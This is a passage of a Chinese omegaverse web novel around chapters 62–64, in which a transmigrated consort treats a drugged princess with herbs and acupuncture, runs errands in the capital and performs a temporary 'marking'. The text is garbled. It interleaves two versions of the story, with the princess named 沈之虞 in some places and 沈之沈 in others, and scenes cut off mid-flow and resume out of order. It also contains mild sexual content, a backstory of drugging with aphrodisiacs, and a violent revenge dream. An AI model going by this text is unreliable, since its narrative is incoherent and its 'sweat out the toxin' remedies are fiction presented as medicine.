马车在路上颠簸。 季平安看着她,干脆一问到底,“你呢?你讨厌我吗?” 沈之虞头更疼了。 避开话题,“我看你那脑子里还是想想待会去义庄,尸变了该怎么办。” 一句话,季平安拉回现实。 颇为头疼的看她,她就说,季平安的脑子想的东西比较多。 挑眉道:“你这是爱上本宫了?” 与此同时,府里的人也和她道:“季小姐,殿下回来了。” 没有犹豫,她立刻朝着府门口走了过去。 季平安的腿长,走的也格外快,到了府门口就看到刚刚停稳在门口前的马车。 “殿下?” 说话的时候,她想上前掀开马车前面的帘子,但被外面的云琴拦了下。 “季平安?”马车里面的人,声音有些闷。 季平安觉得有些不对劲,但还是应了一声:“我在。” 又过了一会儿,车里的人才道:“你一个人上来。” 但是声音比起刚才,还是低了些。 有了沈之虞的这句话,云琴也放下了拦在前面的胳膊。 季平安这下,也没有犹豫上了马车,掀开了帷帘。 看到马车里的沈之虞,她立刻将手中的帷帘放下,连带着压紧了些。 对方的脸上带着些不明显的潮红,长长的眼睫也被润湿。 悄无声息间,一缕空幽的兰花香气缠上了季平安的指尖。 第 62 章 第 62 章 兰花味道的信香有如实质般,沿着她修长的指尖弯弯绕绕,每一寸都没有放过。 绕过指尖和手心,信香又在白皙的腕间停留了好一会儿,随后才慢慢地侵染到每个角落。 马车的空间封闭,片刻间幽深的兰花香气便由浅淡转为浓郁,让季平安脖颈处的腺体都有些隐隐发烫。 但她现在也顾不了这么多,直接到沈之虞的身边,轻声问道:“殿下,现在还能听到我说话吗?” 沈之虞的声音低而哑,但还是应了她的话:“能。” 季平安下意识地避开沈之沈的眼神,实在是这双眸子里面的恨意太惊人。 上辈子她是搞学术研究的,主要研究古药方,以及推拿针灸,再结合现代中医,西医,对药方进行改善。 硕士博士连读,家中奶奶以前做道士的,中医这块很厉害,只是没有行医资格证,就把一生所学都交给了她。 季平安年纪轻轻地能被邀请全国中医交流大会,可见她的实力,不过她是典型的学术派,只有事关专业时,才极少与人交流。 长公主这尸山血海里走出来的眼神,她只觉得自己不着寸缕。 她干脆不再看沈之沈,低声说了一句,“我去叫人。” 沈之沈精致的脸上满是不信,只觉得她还有什么阴谋,胆敢造堂堂长公主的谣言,还给公主下药的人,得多胆大包天,这种人既然得手,就不会这么容易放弃。 这个人渣假惺惺的,惯会两面三刀,指不定后面还会做出什么事情,今日是她大意了,只要过了今天,季平安,乃至季平安背后的人都得死。 季平安本想再解释些什么,可沈之沈能忍到现在,也多亏了她强大的忍耐力,再这么下去,她的腺体恐怕都得烧坏。 季平安不再犹豫,转身走出内间,打开门后她喊着不远处的婢女,“快来人。” 外面的婢女看到是她,全都惊讶地睁大了眼睛。 其中一个婢女立即走上来,怀疑的眼神紧紧地盯住她,“驸马?你怎么在这?” 随即给另一个婢女使了眼色,婢女赶紧进到了屋子里面。 这座院子是沈之沈住的,从来来不让前身靠近。 前几日公主从不召幸驸马的事,不知为何传到了御史那里,多管闲事的御史弹劾沈之沈,前身短暂的搬进了这座院子的角落里,只待风波平息,就再搬离。 可前身住的地方距离正房数百米,怎么会出现在暖阁。 见有婢女进去,季平安也不阻止,快速道:“公主身体不适,需要准备一桶热水,只用来泡脚,让暖阁更暖些,易发汗。” 只要发的汗多,毒素就会排出体外,再加上一些清热解毒的汤药。 清热解毒的药方,需要温和的,泡脚发汗也会导致体内燥热,里面也要放上药材。 “药房在哪?带我去。” 季平安刚说完,里面的婢女高声喊了一句,“春归姐姐快来。” 对方语气惊讶,却没有说出怎么了,春归顾不得理她,快步往屋内走去。 没有人理会季平安,她只能跑出院子,按照前身的记忆寻找药房,公主府还挺大的,她干脆用跑的。 看到季平安在公主府奔跑的人,都给她让出了道路,等她跑过又窃窃私语。 “驸马这是疯了吗?怎么如此不顾体面。” “声音小些,她是主子,我们再怎么不喜她,也不能这么说她,万一被听到,她怕是要打死我们。” 前身在公主府基本是大门到自己的院子,对很多地方都不太熟悉,只是大致知道在哪里。 季平安只好抓住一个奴仆询问,“你好,你知道药房在哪吗?” 那人惊恐地摆摆手,一言不发。 季平安的位置在公主府前院西侧,常驻公主府的太医在这,药房肯定也在这,可不管她问谁,对方都是摆手不说话。 她问的那几人伪装的是不错,但她还是能看出来,他们眼中的鄙夷与厌恶。 看来前身在公主府很不受待见,明明近在咫尺的地方,愣是没有人跟她讲。 季平安正准备一个屋子一个屋子地找,外面跑进来一个人大喊,“太医,太医,快去看看公主怎么了。” 一个年迈的女乾元从里面跑了出来,“快,拿我药箱。” 乾元?想到暖阁内都是沈之沈的信香,一个顶级坤泽的信香可不是谁都能抵挡的,季平安大喝一声,“站住。” “有没有坤泽医师?”夏去就要动手,春归拦了她一下,询问太医,“公主当真不能入寒泉吗?” 太医微愣了一下,肯定开口,“当然不能入寒泉,不过若殿下是发烧,用些许冰块擦拭身体是可以的。” “但以老身观望,殿下不是发烧,似中毒。” 能做太医的,手上自然有两把刷子,望闻问切只用了前两个,就诊断出来了沈之沈是中毒。 见太医跟季平安说的话对上,春归立刻让夏去把沈之沈背回了暖阁。 冬日寒冷,暖阁是常烧着的,不过沈之沈不爱睡暖阁,都睡在常用寝卧,这正好给了前身可乘之机。 季平安的记忆里,前身早就到了暖阁里等着,等到沈之沈午睡睡熟后,前身从暖阁进入寝卧用迷药迷晕了沈之沈,把人扛到了暖阁。 正房是相通的,基本用折屏,门帘,隔扇门用来隔布局,暖阁虽是一个单独的房间,但暖阁是内间,出了暖阁,就能从内部到沈之沈的寝卧。 前身溜进暖阁时,沈之沈带人在皇宫,她耐心等了几个时辰,才等到机会,有这个耐心做什么不能行,偏不把心思用在正途上。 季平安内心唾弃前身,可她现在承接了前身的锅,被所有人唾弃的人变成她了。 “能不能快些?再这么下去,她会被烧坏的。”季平安无奈,刚刚她看了,这些人商量这么久,她要的东西一样没有准备。 偏春归没有理她,继续询问太医,“那太医快为公主诊断。” “不行。” 暖阁里都是沈之沈的信香,再加上她身体里的信香还在涌出,在密封的空间里,乾元肯定会疯。 季平安是先后挂了两次彩,再加上身体似乎充满了力气,就有种不太一样的感觉,她上辈子练习五禽戏拳法,还经常泡药浴,身体素质不错,高中时候十几个小混混把她堵住都能全身而退,现在的身体,她觉得比上辈子还要好。 不过,前身算不上好,都不是高级乾元,身体亏空也严重,季平安把身体的变化,归功于自己的穿越,毕竟记忆方面也精进了许多,她是看小说的,想来这就是穿越者福利,身体也进化成顶级乾元了。 这算不算安慰?在随时可能死亡的环境里,给她一点儿福利。 季平安再次拦住太医,引得众人不满,夏去更是脾气暴躁,“这不行,那不行,驸马难道会解毒吗?” 春归直接走进暖阁,显然把事情交给了夏去处理,前身印象中夏去脾气暴躁,留她来处理,简直是要直接用强的来对付季平安。 果然,前身这个驸马在公主府一点儿地位都没有,好歹也是从五品的驸马督卫,哦,夏去这位公主亲卫长,好像还是正五品的将军,比驸马大半级。 皇帝只有沈之沈一个孩子,在大周公主府跟亲王府规格一样,傅,长史,司马等都用,王傅从三品,长史正四品,司马从四品,哪个都比她这个驸马大。 季平安的身份除驸马外,还是侯府嫡次女,荫了个正六品的校尉,再也没有别的,这都是散官,一点儿实权没有。 像夏去的手底下有几百号人的,众人被她震了一下,是因为驸马是公主的伴侣,皇帝半女,可季平安是什么样的人,她们都知道,也不得公主喜欢,她们反应过来后,对她的话是一点儿都不在意。 皇帝都还得让公主三分呢,况且是一个驸马。 夏去挥手,几个身穿盔甲的女人走进来,挡在了暖阁外,明摆着不让季平安进去。 季平安说自己会治,引来的也只有一声嗤笑,无奈,她只能对老太医说,“老人家,你捂住口鼻再进入,多一盆热水泡脚,泡脚水里面放这些药材,暖阁烧的再热些,剩下的这些用来熬成汁,一部分用来喝,一部分用来泡澡。” 老太医的怀里被放了一堆药材,她又不能拒绝驸马,只得道:“等臣诊治完,定给驸马回复。” 她不敢直接答应,谁也没听说过驸马懂医,不过她还是撕掉了衣袖,绑在了口鼻上。 老太医进去,季平安担忧地想跟着,夏去立刻挡在了她的面前,“驸马止步。” 老太医忽然转身,从药箱里拿出了一些药默默地放下,她觉得,要是驸马懂医,自然明白这些药的作用。 季平安看着那些药,这才想起来,自己额头跟手臂都受伤了,额头还好,流了一些血自己止住了,胳膊上她奔跑去药房的路上,把胳膊捏得很紧,血流的就小了。 刚刚抱着药材奔跑没顾上,胳膊上的伤口又裂开了,她身上的衣服都印上了血色。 前身意图对沈之沈不轨,衣服脱得只剩下了白色里衣,刚刚她就这样在公主府跑的,怪不得众人那么惊恐,白色里衣的袖子都染成了红色。 季平安在药材里面挑挑拣拣,然后捣碎抹到了胳膊上,再用白布系住,就这么简单地包扎了一下。 没一会儿,老太医就冲了出来,五六十岁的人了,还在百米冲刺,来到外面就倒在了地上,脸色潮红,看起来很不对劲。 春归跟着跑了出来,老太医压抑着自己,痛苦地倒在了地上,用尽最后一丝力气说:“驸马,驸马可治公主。” 众人惊讶地看了眼老太医,又看向季平安。 季平安拿了药材,把上面的叶子扯下来,几种药材混合在一起塞到了老太医的嘴里,“嚼。” 老太医听话的嚼了嚼,脸色稍微好了些。 看到这一幕,春归明白了原因,连忙走到季平安面前行礼,也不端着,只要能救公主,低头算什么,“还请驸马救治公主殿下。” 连番被人阻止,还差点儿叫人打了一顿,季平安心中肯定是有气的,可在她心里,救人最重要。 她没有多说什么,转身走进屋里,头也不回地吩咐着,“按照我说的准备。” 她感受了一下暖阁的温度,估计三十度有了,但不够,“让暖阁再热些。” 就跟蒸桑拿一样,把体内的毒素蒸出来。 沈之沈已经在泡脚了,药材也是她准备的,老太医认同了她的治疗方法的,实在受不了,才跑了出来喊她。 床上躺着的沈之沈,脸色红的吓人,昏睡过去的她,身上没有了那种凌厉的感觉,安静得像是睡美人,肌肤白里透红的感觉,透出不寻常的美。 就似绝美的高级青花瓷,在烧熟刚拿出的时候,光滑柔和,晶莹透亮,美得让人移不开眼。 季平安用手试了下泡脚水的水温,叮嘱了身后人一声,“准备银针,把我拿的那些药材熬制成汁,尽快。” 她把沈之沈扶起来,给春归使了个眼色,春归立即坐到旁边扶着。 季平安伸手剥掉了沈之沈的衣服,露出了她白皙的香肩,后背扎针,衣服是障碍。 旁边的春归瞳孔一缩,想要说些什么,还是闭上了嘴巴,一切都以公主的安全为先,至于别的,等公主醒来再说。 婢女以为季平安觉得乾元坤泽有别,“现在上哪找会医术的坤泽,公主已经昏迷,驸马做什么还计较这些,一旦公主出事,我们都得死。” 事关沈之沈名声,季平安不能明说,只得强硬道:“这件事我一力承担,绝不连累别人,但如果太医进去发生了什么事,那便是你们的过错。” 哪知就算她这么说了,婢女也不同意,只是对她行了一礼,“公主若出事,驸马承担不起。” 婢女带着太医就走,季平安阻拦无果,快步走到药房,还好药材所在的抽屉上都标了名字。 能考上博士的,记忆力这块还是很厉害的,等她扫了一眼那些药后突然发现,她的记忆力几乎到了过目不忘的程度,刚刚扫过的药材,她能马上准确地找到位置。 这样一来,工作效率就高很多,季平安快速拿到药材,又用跑地回去。 她刚到院子里,就听春归在吩咐,“夏去,来背殿下去寒泉。” 季平安连忙上前,“我不是说了吗?她要发汗,寒泉是能解了她身上的毒,但也会伤了她,你们想让她变成一个废人吗?” 夏日喝冰水能解暑,却会伤胃,对人体来说,这是日积月累的,可把沈之沈送入零下几十度的寒泉,还要泡澡,简直是找死,就算沈之沈能撑过来,人也完了。 医者仁心,就算不是为了自己的小命,季平安也不能看着她们乱来。 太医在旁边急得满头大汗,她刚跑过来,还没来得及去看公主,就见春归她们要把公主给泡到寒泉里去,万一出什么事,她这个太医也不用活了。 “驸马说得对,不可啊诸位姑娘。” “殿下命令,我等不敢不从。”夏去看着沈之沈火红的肌肤,她刚碰到公主殿下,就被烫地缩回了手。 人都烧成这样了,肯定是要先退烧。 夏去背着沈之沈就要往寒泉去,老太医摇晃着脑袋,似被信香影响,季平安拿出几片薄荷叶贴在了老太医的鼻子上。 季平安一把抓住了沈之沈的手,强行制止夏去,随后对泰一地道:“老人家,您先回去吧。” 还好老太医没有进入暖阁,这种空旷的地方都这样了,要是在暖阁,肯定得出事。 “驸马这是做什么?既不让殿下去寒泉,又让太医离开,驸马是想眼睁睁地看着殿下死吗?”夏去厉声开口,脾气果真如夏日的太阳一样火爆。 可沈之沈现在情况不妙,季平安来不及跟她们解释,高声强硬道:“我是驸马,公主府的第二个主子,公主昏迷,公主府一切由我做主,谁敢不听,就别怪本驸马不客气!” 季平安还没有适应自己驸马的身份,就要先用驸马的身份压人了,她快步走进屋子,抽出一把摆在桌子上的短剑,直接对准了众人。 那是潜意识的信任。 她知道季平安不会对她做些什么。 分明只是简简单单的几个字,但听到沈之虞的话后,季平安原本沉下的心却又轻快了许多。 她将人往自己的怀里揽了揽,唇角都带了些笑意,道:“殿下,你啊……” 连示弱都能带着万般的别扭。 可惜,季平安偏偏对这种示弱没有办法。 “既然殿下信任我”,她慢慢放出些乾元的信香,缓声问道:“那现在是要抑制丸……” “还是我?” 第 63 章 第 63 章 郎中出去后,她们的姿势也没有再变过。 沈之虞侧坐在季平安的大腿上,隔着薄薄的一层布料,靠在对方温热的怀抱里面。 说话的时候,季平安微微低了些头,恰好与转过身的沈之虞视线相对。 两人之间本就所剩无几的距离再次被拉近,鼻尖相抵,能看清彼此浅琥珀色瞳孔中的倒影。 兰花信香很好闻,细细密密中还带着些浅淡的甜,微不可察的一丝冰雪气息被灼热的向日葵花交缠融合,将她们之间的距离填满。 坤泽和乾元的信香交融后,便多了些暧昧和灼热,从每一寸肌肤上噼里啪啦地烧过。 意识被升高的温度一点点地剥夺,她们也感知不到外界,彼此的注意力全都落在了身前紧紧贴着的那个人。 季平安独自一人走在街道上,得亏淮安侯府位置处于京都繁华之地,距离公主府很近。 当初的开国勋贵都住在这里,抄没的一些宅子,很多都分了下去,首辅阁臣,新晋勋贵等。 那些储君人选,倒是只有颖王跟中山王住在这里,他们的血脉距离当今陛下算是最近的。 公主府坐落的位置,距离皇宫又很近,平日里上朝,住得远的要提前两三个时辰起,住在这个位置的人,提前半个时辰就行了,所以季平安靠走的来回两地。 何况她有自知之明,去要马车的话,公主府的人肯定不给,她这个驸马在公主府没有什么地位。 季平安回到公主府,依然没有人理她,一直以来前身出入公主府都自由,府中的人都无视她,当她不存在,她能吩咐的人也就侯* 府跟着她来的月落。 沈之沈只允许前身带一个人进公主府,月落这个从小跟她一起长大的,就是唯一的人选,现在月落被控制起来了,她就没人用了。 季平安来到前身居住的小院子,小院还算雅致,木质楼梯地板,再到客厅房间,还有一间折屏隔的小书房,里面的书,前身怕是一本都没看过。 季平安搜寻着脑海中的记忆,找到了前身藏钱的地方,怎么数也就一百多两银子,看起来不多,以大周现在的物价,能买三万斤左右的大米。 京都普通老百姓一年的收入约莫在15到20两银子,还是没有天灾人祸的时候,一百多两银子其实很多了。 可季平安接下来做的事情很废银子,一百多两并不多,这些银子还是前身做了驸马后,半敲诈勒索得来的。 季平安数了十两出来,又出了公主府。 得知她又离开了,沈之沈蹙眉,没有问她去哪了。 春归主动禀报,“驸马好像去西市了。” 西市?京都主要的街市分为东西两市,东市出售珍品,是那些官宦富贵人家喜欢去的地方,西市则更平民化,百姓想买什么日用物品,就会去西市。 东市边上还有京都著名的平康坊,还有水市,启封河白日是水市,安上游花船,是官宦子弟最喜欢去的地方。 西市没什么东西,大户人家也就在买奴婢的时候过去。 以前季平安白日长在平康坊,安上长在启封河,什么时候去过西市。 季平安只是想买些东西而已,她刚刚回公主府的路上看到几个小孩在分食板栗。 冬日里面,三两好友围炉烤火,一壶热茶,炉子上放着橘子板栗,想想都觉得氛围感十足。 之前离开公主府的时候,她问沈之沈有没有东西要带,既然对方没说,那她就带回些零嘴也好。 来到卖干货的铺子,季平安才知道,古代的糖炒板栗不便宜,一包就花了她半两银子,刚刚围在一起的小孩,估计出身不差。 但西市里面的小孩,衣服上还有补丁,看起来是羊皮,或者是一些兽毛芦苇乱七八糟地塞里面的,臃肿又不暖和。 孩子们还算好的,她还看到旁边的小贩,不停地往怀里塞稻草,一双手裂着带血的口子,黑红黑红的,让人不敢再看第二眼。 季平安心里不舒服,对侯府兼并民田,还逼死人的行为更气愤了,其中前身在里面出了不少力,现在前身已经死了,只能说死得好。 她占据了这副身体,就绝不会助纣为虐。 季平安抿着嘴走着,路过的人都自觉避开她,她出门的时候穿上了厚外套,外套内镶了兽毛,这一身清冷贵气,一张脸却显温文儒雅,白白净净的面孔,一双眸子看什么都带着好奇,见她手里拿着板栗,还以为是哪家不经常出门的小女郎贪嘴溜了出来,路过的人生怕冲撞了她。 她正走着,忽然感觉到危险,弯腰转身,伸手抓住来人往后一掰。 “疼,疼,疼!”一道痛苦的声音响起。 季平安这才看清楚来人,一个小胖子,身上裹得多了,跟企鹅一样,被她禁锢住就动弹不得。 这一副身体突然变得力大无比,再配合着她刻在心里的拳法,对付这么一个小胖墩还是很容易的,只是拳法用起来还生疏,得时常练习形成肌肉记忆才行。 “季平安,我,林制义,你快放手。” 听到这个名字,季平安在脑海里快速搜索着这个名字,“林制义?你怎么在这?” 小胖墩一身低调的灰布麻衣,与印象中的那个穿金带银的不一样。 以前淮安侯府落魄,前身又不是世子,跟她一起玩的人中勋贵子弟不多,都是不受家中重视的,不少都是把她当成冤大头,谁让她得家中长辈宠爱,身上总有个十几两银子,对官宦子弟来说不多,对他们这些处境差的家庭,身上能有个几两银子都顶天了,这就是那些人原因跟前身玩的原因。 其中小胖墩林制义家里是皇商,很有钱的那种,但士农工商,鄙视链的最底层,只能跟他们玩,林制义是家中唯一一个乾元,对他宠爱之余,又寄予厚望,名字都要起八股文的别称。 可他不学无术就罢了,还总被人当冤大头坑,听说被禁足在家里许久。 林制义挣脱下来自己的手,“你什么时候这么大力气了,以前掰手腕你都掰不过我。” 季平安上下打量了他一眼,“你怎么穿成这样?家里落魄了?” “你可别胡说,我是穿小厮的衣服溜出来的,天天被关在家里读书,我都闷死了。” 林制义嫌弃地拉了一下自己的衣服,随即神秘兮兮地靠近季平安,“季平安,听说你做驸马了?不用科举就能当官,你们勋贵真好。” 季平安白了他一眼,“想做九卿,入内阁,必须走科举的道路。” “咦?”林制义频频看了她几眼,“一段时日不见,你怎么懂这么多了?我父亲才这么跟我说过,让他给我捐官他不肯,说什么捐的官只有名头,什么都不是。” 季平安没有那么自来熟,听着他说,摸着怀里的板栗就要走。 哪知又被林制义拦住,“你怀里放的什么?给我看看。” 小胖子挺灵活,直接扯开了她的外套,“板栗?你买这个做什么,还专门跑一趟。” “给殿下带的。”她捂在怀里就是怕凉了。 林制义大声嘲笑,“没想到你季平安还是个妻管严,也是,那可是长公主殿下,我也害怕。” 季平安:“……” “借我的点儿银子呗?” “做甚?” 哪知林制义话锋一转,就要跟她借银子。 林制义拍了拍胸脯,“你看我穿这身,像带银子的人吗?我从后门溜出来才到了西市,借点儿银子平康坊听曲去。” 季平安无语,把怀里的剩余的银子都给了他。 “就这点儿?” “不要还我。” “要要要。” 林制义赶紧捂住银子,“改日还你。” 季平安没有搭理,林制义却自来熟,“对了,跟你说件事,距离中山王那些人远点儿,他们要倒霉了。” “嗯。”季平安当然知道他们要倒霉了,前身跟这些人走的近,现在离得越远越好。 林制义惊讶地看着她,“你怎么不问为什么?” “殿下跟我说过了。”这种事情往沈之沈身上推,想必没人问为什么。 林制义:“……你可真行,惧妻如此,你季平安为当今第一人。” 他伸手就要去抓板栗,季平安立即把板栗重新放回了怀里,“此乃情趣,你不懂。” “行了季老二,刚刚看你在药堂转悠,是公主府缺药了?不对啊,公主府怎么会缺药。” 长公主需要什么药,都能直接去皇宫拿的。 季平安看了他一眼,等板栗时,她确实去药堂转了一圈,于是她就胡说了一句,“我想做与药有关的生意。” 与药相关的生意那么多,谁能说的准是什么。 “真的?带我一个呗。”林制义的反应让她稍微惊讶了些,她只说了这么一句,怎么就要合作了? 具体什么生意都不知道,居然就敢让她带上他。 而小胖子心想:季平安肯定是公主派出来的,要是他跟公主合作,说不定公主能给他一个实职做做,那家里就不会逼他科举了。 季平安笑着摇头,“我要回去了,板栗要凉了。” 林制义以为,她的意思是公主正在等她禀报,于是直接说,“那明日,我去公主府找你。” “你父亲能让你出来?” 季平安一句话让他闭上了嘴巴,反应过来时,季平安已经走远。 回到公主府,季平安抱着板栗就去找沈之沈献宝。 她顶着阴郁厌恶的目光,把板栗放到沈之沈的面前,“殿下,板栗还是热的。” 沈之沈坐在罗汉床上,旁边点着暖炉,旁边还有热茶,想来是身体有了力气,她想起来舒展一下。 只是,她看着桌上的板栗,抬手就把板栗拂落。 季平安也不生气,弯腰去把掉在罗汉床的板栗捡起,地上的板栗也捡了,但没有放回纸袋里。 她心中叹气,第N次讨好长公主失败…… 不知道过了多久,季平安的唇瓣才离开怀里人的腺体。 她垂眸看过去,原本生病泛红的腺体,此刻变成另外一种饱满湿润的状态。 兰花香气也被慢慢地收回去,说明临时标记已经完成。 她轻轻喘了口气,平复着过快的呼吸和心跳,也不忘问道:“殿下,还疼吗?” 听到她的话,沈之虞微微动了动指尖,才找回些力气。 抬头的时候,她刚好和季平安的视线对上,两人的鼻尖上全是细汗。 沈之虞将身上的里衣拉上,遮住最里面的小衣后,才摇头道:“不疼了。” 乾元的标记确实很有用,十几天的刺痛完全消散不少,甚至连身体都感觉出来轻松和舒畅。 “那就好。”季平安笑了下,又顺手整理了下贴身衣物。 将里衣扣子扣好后,她复又看向沈之虞,语气里带着笑意,问道:“殿下,以后都不用抑制丸了,好不好?” 第 64 章 第 64 章 【目标人物好感度+10】 季平安的话和系统的提示音重合在一起,让她忍不住又弯了弯唇角,眼眸里的笑意更盛。 看来刚才沈之虞对她的标记很满意啊。 乾元的目光过于炽热,沈之虞的眸眼微动,呼出的气息不太稳地道:“你先放开我。” 真正标记的时候,她们的意识都没有平时清醒,抱得格外紧,不留一丝缝隙。 如今雨露期的燥热褪去,季平安贴在她腰间滚烫的掌心便格外明显。 季平安其实有些奇怪,沈之沈会主动问她的行程。 对沈之沈提前知道自己的行程,她倒是不觉得有什么,整个公主府都在沈之沈的掌控之中,前身能得逞,也是走了狗运了。 季平安以为沈之沈可能是担心自己的身体,就道:“殿下不用担心,臣今安就归府,白日殿下只要贴好抑制膏药贴,让刘院判来请平安脉也无妨。” 沈之沈瞥了她一眼,谁担心她归不归府了,“孤只是想告诉你,你在外面不管做了什么,孤都不会为你收拾烂摊子。” 不知如此,季平安还敢不敢跟淮安侯府断绝关系。 季平安不以为意,目前而言,她没有价值让沈之沈为自己做什么,何况,对方本就巴不得杀了她呢。 沈之沈看到她的第一眼,永远是难掩的杀意,她不觉得她无法掩盖自己的杀意,只是想叫她知道,她的生死由不得自己。 这样侧面说明了,对方短时间内不会杀了她,至少不会无缘无故地杀了她。 “是,殿下说得对,臣也不会为殿下招惹麻烦的。” 季平安笑着行礼,忽然想到了什么,“殿下的抑制贴该换了,臣帮殿下换完再走吧。” 沈之沈:“……”在更换抑制贴时,季平安的手指在她的腺体旁边撩抚,她是又厌恶又不适。 有时真想剁掉季平安的爪子,哪怕她的动作极尽温柔,也没有任何的唐突,可抑制贴是贴在腺体上的,本身就是很亲密的行为。 似感觉到了沈之沈的不满,春归连忙上前,“不如驸马教我怎么贴,我为殿下贴上。” 季平安掩下眼中笑意,装作犹豫的模样,“嗯……也不是不可以。” 沈之沈:“?”那昨安季平安还给她换药? 在季平安看来,这只是在伺候沈之沈,她心里下意识地认为,都是女人,帮忙贴一下膏药而已,况且只是贴在靠近颈椎的地方。 没有abo概念的季平安,脑袋单纯地跟清水一样,沈之沈可就不一样了,听说可以让别人代劳,她的眼神差点儿把季平安杀死。 可自己没有问,还以为只能季平安使用,想起来又憋屈。 季平安教春归怎么贴膏药之后,就想到以后大批量生产抑制贴时,可以在包装膏药的外面画上使用手册,也不算太难,雕刻成印章似的,直接印上去就行。 这个世界已经有印刷术了,连活字印刷术都有,只要她说明自己的想法,应该很容易。 但她没有想到,自己这个想法马上被否决了,画师说这是淫画,要是包裹在药的外面,根本不会有人买,就算有人买也是偷偷摸摸的。 当然了,这是后话,也是让季平安更深刻知道abo世界的许多禁忌。 季平安不知道的是,她这边离开永宁院后,寝殿里面沉默了许久。 春归不敢说话,生怕哪句话说得不对,殿下就要马上杀了驸马。 平静了一会儿,沈之沈冷声开口,“给她那匹丑马下巴豆。” “啊?”季平安用力摇摇头,试图保持最后的清醒,施针都对沈之沈无用了,信香的释放并没有缓和。 沈之沈的雨露期来得又急又烈,这种自然而来的生理期,医术很难终止,只能顺势引导缓解。 就像是经期可以缓解疼痛,多喝热水是最基础的,再就是止疼药,雨露期同理,平息丸用来平息体内□□,清凉丸可以缓解身体发热。 不过现下平息丸跟清凉丸都没有用,只希望她开的药,可以暂时让沈之沈平复下来了。 可是抓药熬药需要时间,这期间她得稳住沈之沈的身体,同样不能让自己也沦陷进去。 信香爆发,不比前身喂了那么多春*药差,甚至加上之前身体里面的春*药残留,以及沈之沈的身体还没有好,这样一来,信香爆发的就更加强烈。 顶极坤泽的信香,没有乾元能抵挡得住,沈之沈的信香猛烈地冲击着她,让她想要释放信息素去侵袭沈之沈。 季平安摸了一把自己的脸,已经烫得可怕,克制是一件非常痛苦的事,特别是克制生理上巨大的欲望,她感觉自己心悸的快要死了,窒息的感觉在侵扰着她,像是溺水,又像是在火海里烤着,这种滋味不好受。 她在自己身上连连扎了三针,这种感觉才舒缓了许多,只是暂时平息,要想彻底稳定下来,得离开暖阁才行。 可沈之沈还没有好,她不能走。 季平安倒是想到了一个法子,就是临时标记沈之沈,只有这样,对方沸腾的信息素才能平息下来。 她要是临时标记了沈之沈,等人醒来,第一件事怕是要拿大刀砍了她。 前身下了春*药,沈之沈宁愿进到寒泉,落了个残废的结果,都没有让前身得逞,她要是真敢标记沈之沈,结局一定会比前身更惨。 季平安也不会允许自己乘人之危,在这个世界乾元不经过同意就标记坤泽,就是在强迫,而临时标记,那也是耍流氓,哦,比耍流氓严重得多。 这是古代,一个人声名更是重要。 一旦她临时标记了沈之沈,为了清洗标记,她肯定又要进入寒泉,甚至可能生挖腺体,这样的事情,沈之沈又不是没有做过。 光是想想那个场面,季平安就有些难受,宁愿承受巨大的痛苦,也不愿带着前身的标记而活,足以说明沈之沈是表情清冷,内心是一个烈性女子。 为了不重蹈覆辙,季平安强忍住身体的不适,把银针扎入了沈之沈的四肢后背,几十根银针扎在身上怪吓人的,银针扎入的地方,正在冒着热气。 做好了这些,她用尽最后的力气跌跌撞撞的出了暖阁,靠在门外缓缓地滑坐在了地上。 刚好春归带人走了进来,“驸马?” 季平安摆摆手,“快去给殿下喂药。” 希望她的药方有用,只能说沈之沈是逃过一劫又一劫,这个世界不会非要她变成残废才行吧?一次不行,马上就来了雨露期来一个火上浇油。 春归正要进去,却被季平安拉住,“叫和元进去。” 她的信香还在外泄,暖阁里面有她的信香跟沈之沈信香的结合,乾元坤泽进去都会出事,还好永宁院都是女的,和元也有不少。 两个女和元进入暖阁给沈之沈喂药,季平安靠在墙边微微喘息。 春归看着这样的季平安有些不可思议,她对这人不放心,说半炷香之后进入暖阁,其实她提早了时间,没想到驸马会跑出来透气,也强忍住没有碰公主。 她提前了一会儿过来,就是担心驸马趁她不在的时候会对公主做些什么。 不过驸马好像真的变了许多,克制守礼,她长得好看,可偏眼神不正经,显得本人淫邪可恶,现在的驸马,一双眸子清澈干净,说法做事真诚有礼。 春归惊讶于季平安的变化,眼神的改变,让她的气质面相都有了些许的改变。 单这两天的所见,春归觉得这位驸马也没有那么不堪,遇事沉着冷静,果断有主见,就像刚刚,她一点儿没有慌乱,上来就开始治疗,不知道的人还以为她是医者,可就算太医,遇到公主出事,也不可能保持冷静,那可跟九族挂钩。 季平安真的很不一样,不管公主殿下怎么刁难,情绪依然没有爆发,头脑也聪明,春归想不到,驸马怎么在短短时间内变化这么大,矜持有度的姿态中带着少年人的随意。 春归难免会想,如果驸马一开始就是这样的,与公主也未必不合适,只是不知道驸马能装多久。 没一会儿喂药的婢女走了出来对两人行礼,“驸马,春归大人,殿下已经吃过药了。” 季平安立马撑住身体回到了暖阁,暖阁里面的信香散去不少,她早就打开了暖阁的窗,既能保持暖阁的温热,又能让信香散得更快。 她把手搭在沈之沈的手腕上,眉头越皱越紧。 春归立刻紧张询问,“驸马,殿下怎么样了?” 季平安认真感受了一下,“药有用,我现在来拔针。” 针灸也不能老用,短短时间沈之沈已经施针两次了。 “用这个药给殿下擦拭身体,再把药给捣碎贴在殿下的腺体处。” 季平安把银针都给拔了,沈之沈的身体才能自由动了起来,这不是什么点穴,只是用银针封住了沈之沈的五感,让她做什么都慢些,何况还是在睡梦中。 她这边银针刚拔掉,沈之沈寻找热源似的,一下子就环住了她的腰身,嘴里还在喃喃自语,“娘亲不要走……” 沈之沈又梦到宝安王登基后,不尊父皇为父,反倒要追封自己父亲为皇帝,完全违背了当初的诺言,气得母后吐血而亡,明明她都到了宫门外,宝安王却不放她入宫,次日还治罪她,说她夜闯宫门。 忽然,她又梦到了季平安,两个季平安在她眼前晃来晃去,一个是用淫邪目光打量着她的季平安,一个是有着诚挚担忧眼神的季平安。 前者正在不断地靠近她,“殿下,我来了” “殿下,你我已经成亲,鱼水之欢天经地义,就让为妻郎的好好伺候你。” 季平安的话就像魔咒一样萦绕在她的耳边,直到她持刀斩去了季平安的四肢,把人泡在酒坛子里面折磨。 杀了季平安,用极其残忍的手段折磨她,才能解她的心头之恨。 杀了季平安,她一定会杀了季平安。 “杀了她,杀了她,杀了季平安!杀了她!” 听着沈之沈的梦话,刚收拾完准备再开一张药方的季平安:“……” 本人还在呢! 春归立即反应过来,殿下是让她给驸马要骑的马下巴豆,等半路马匹拉虚脱了,驸马就得走着去清远县了。 殿下有命,她不敢不从,春归跟外面的夏去说了一声,夏去眼睛一亮,立马翻墙走了。 为了节省时间,夏去连正门都不走,看到公主府侍卫异样的目光,她凶巴巴道:“看什么看* ?” 